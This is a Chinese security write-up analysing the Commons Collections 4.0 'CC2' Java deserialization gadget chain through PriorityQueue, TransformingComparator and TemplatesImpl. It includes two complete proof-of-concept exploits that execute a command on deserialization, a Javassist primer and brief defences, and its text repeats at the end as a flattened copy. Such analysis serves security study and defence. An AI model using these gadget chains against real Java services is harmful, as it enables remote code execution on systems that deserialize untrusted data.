通俗易懂的Java Commons Collection 2分析
字数 1914 2025-08-03 16:45:56

Java Commons Collections 2 (CC2) 反序列化漏洞分析

前言

CC2利用链是基于Apache Commons Collections 4.0版本的反序列化漏洞,它使用了javassistPriorityQueue来构造利用链。与CC1不同,CC2在Commons Collections 3.1-3.2.1版本中不可用,因为TransformingComparator在这些版本中没有实现Serializable接口。

环境搭建

  • JDK版本:1.7
  • Commons Collections版本:4.0
  • Maven依赖:
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

利用链分析

基本利用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        ...
        TransformingComparator.compare()
            InvokerTransformer.transform()
                Method.invoke()
                    Runtime.exec()

关键点分析

  1. PriorityQueue.readObject()

    • 从反序列化中读取queue[i]的值
    • 通过反射可以控制queue[i]的内容
    • 调用heapify()方法,当size > 1时进入循环
  2. heapify()方法

    • i >= 0时进入循环
    • i = (size >>> 1) - 1,所以需要size > 1
  3. siftDownUsingComparator()方法

    • 关键调用:comparator.compare(x, (E) c)
    • TransformingComparator实现了compare方法
    • 该方法中调用this.transformer.transform()

POC分析

POC1: 使用InvokerTransformer

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new String[] {"calc.exe"}),
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        
        // 初始创建时不传入comparator
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(2);
        
        // 通过反射设置comparator
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, Tcomparator);
        
        // 序列化和反序列化
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

关键点:

  1. 使用ChainedTransformer构建Transformer链
  2. 初始创建PriorityQueue时不传入comparator,避免立即执行命令
  3. 通过反射设置comparator为TransformingComparator
  4. 需要添加两个元素使size > 1

POC2: 使用TemplatesImpl和Javassist

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {
    public static void main(String[] args) throws Exception {
        // 创建InvokerTransformer,方法名为newTransformer
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
            .getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
        
        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);
        
        // 使用Javassist创建恶意类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        
        // 创建TemplatesImpl对象并设置字段
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);
        
        // 设置PriorityQueue的queue字段
        Object[] queue_array = new Object[]{templates, 1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue, queue_array);
        
        // 设置size字段
        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue, 2);
        
        // 设置comparator字段
        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue, Tcomparator);
        
        // 序列化和反序列化
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();
            
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

关键点:

  1. 使用InvokerTransformer调用newTransformer方法
  2. 使用Javassist创建恶意类:
    • 在类初始化时插入恶意代码
    • 设置父类为AbstractTranslet
  3. 使用TemplatesImpl承载恶意字节码
  4. 通过反射设置PriorityQueue的各个字段

Javassist基础

Javassist是一个用于分析、编辑和创建Java字节码的类库。

关键类和方法

  1. ClassPool

    • static ClassPool getDefault(): 获取默认ClassPool
    • ClassPath insertClassPath(ClassPath cp): 在类搜索路径起始位置插入ClassPath
    • CtClass makeClass: 根据类名创建新的CtClass对象
    • CtClass get(String classname): 读取类文件并返回CtClass引用
  2. CtClass

    • void setSuperclass(CtClass clazz): 设置超类
    • byte[] toBytecode(): 将类转换为字节数组
    • CtConstructor makeClassInitializer(): 创建空的类初始化程序

示例代码

import javassist.*;

public class javassit_test {
    public static void createPerson() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Cat");
        
        String cmd = "System.out.println(\"javassit_test succes!\");";
        cc.makeClassInitializer().insertBefore(cmd);
        
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.writeFile();
        
        Class c = cc.toClass();
        c.newInstance();
    }
    
    public static void main(String[] args) {
        try {
            createPerson();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

TemplatesImpl利用分析

  1. 调用链

    • PriorityQueue.readObject()
    • TransformingComparator.compare()
    • InvokerTransformer.transform() (调用newTransformer)
    • TemplatesImpl.newTransformer()
    • TemplatesImpl.getTransletInstance()
    • defineTransletClasses()加载恶意类
    • 实例化恶意类执行静态代码块中的命令
  2. 关键条件

    • _name不能为null
    • _class必须为null
    • _bytecodes不能为null
    • 恶意类必须继承AbstractTranslet

防御措施

  1. 升级Commons Collections到安全版本
  2. 使用Java反序列化过滤器
  3. 避免反序列化不可信数据

参考链接

  1. https://blog.csdn.net/qq_41918771/article/details/117194343
  2. https://www.cnblogs.com/depycode/p/13583102.html
  3. https://www.cnblogs.com/nice0e3/p/13811335.html
Java Commons Collections 2 (CC2) 反序列化漏洞分析 前言 CC2利用链是基于Apache Commons Collections 4.0版本的反序列化漏洞,它使用了 javassist 和 PriorityQueue 来构造利用链。与CC1不同,CC2在Commons Collections 3.1-3.2.1版本中不可用,因为 TransformingComparator 在这些版本中没有实现 Serializable 接口。 环境搭建 JDK版本:1.7 Commons Collections版本:4.0 Maven依赖: 利用链分析 基本利用链 关键点分析 PriorityQueue.readObject() 从反序列化中读取 queue[i] 的值 通过反射可以控制 queue[i] 的内容 调用 heapify() 方法,当 size > 1 时进入循环 heapify()方法 当 i >= 0 时进入循环 i = (size >>> 1) - 1 ,所以需要 size > 1 siftDownUsingComparator()方法 关键调用: comparator.compare(x, (E) c) TransformingComparator 实现了 compare 方法 该方法中调用 this.transformer.transform() POC分析 POC1: 使用InvokerTransformer 关键点: 使用 ChainedTransformer 构建Transformer链 初始创建 PriorityQueue 时不传入comparator,避免立即执行命令 通过反射设置comparator为 TransformingComparator 需要添加两个元素使 size > 1 POC2: 使用TemplatesImpl和Javassist 关键点: 使用 InvokerTransformer 调用 newTransformer 方法 使用Javassist创建恶意类: 在类初始化时插入恶意代码 设置父类为 AbstractTranslet 使用 TemplatesImpl 承载恶意字节码 通过反射设置 PriorityQueue 的各个字段 Javassist基础 Javassist是一个用于分析、编辑和创建Java字节码的类库。 关键类和方法 ClassPool static ClassPool getDefault() : 获取默认ClassPool ClassPath insertClassPath(ClassPath cp) : 在类搜索路径起始位置插入ClassPath CtClass makeClass : 根据类名创建新的CtClass对象 CtClass get(String classname) : 读取类文件并返回CtClass引用 CtClass void setSuperclass(CtClass clazz) : 设置超类 byte[] toBytecode() : 将类转换为字节数组 CtConstructor makeClassInitializer() : 创建空的类初始化程序 示例代码 TemplatesImpl利用分析 调用链 PriorityQueue.readObject() TransformingComparator.compare() InvokerTransformer.transform() (调用 newTransformer ) TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() defineTransletClasses() 加载恶意类 实例化恶意类执行静态代码块中的命令 关键条件 _name 不能为null _class 必须为null _bytecodes 不能为null 恶意类必须继承 AbstractTranslet 防御措施 升级Commons Collections到安全版本 使用Java反序列化过滤器 避免反序列化不可信数据 参考链接 https://blog.csdn.net/qq_ 41918771/article/details/117194343 https://www.cnblogs.com/depycode/p/13583102.html https://www.cnblogs.com/nice0e3/p/13811335.html